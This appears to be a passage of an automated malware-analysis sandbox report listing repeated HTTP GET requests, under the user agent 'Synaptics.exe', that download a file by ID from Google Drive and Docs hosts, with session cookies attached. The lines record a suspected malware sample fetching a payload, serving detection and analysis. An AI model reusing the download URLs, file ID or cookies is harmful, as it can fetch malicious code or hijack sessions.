Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=BP3v9g5IPv4fqgPIrLK5abHnATCIOS_dEtmKqd1Wbup5f4tmTLzbfXJDC__xlg0yZtTyq1JapzKkpey2Nv4q5Br9PGbHWcshPLVxwdVSAgS2_2wEMbRsNkBOmahSZRswn__7pMUYTI7cwNwtbsCvqE-dM7JG8sWrmLmO737pGIc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
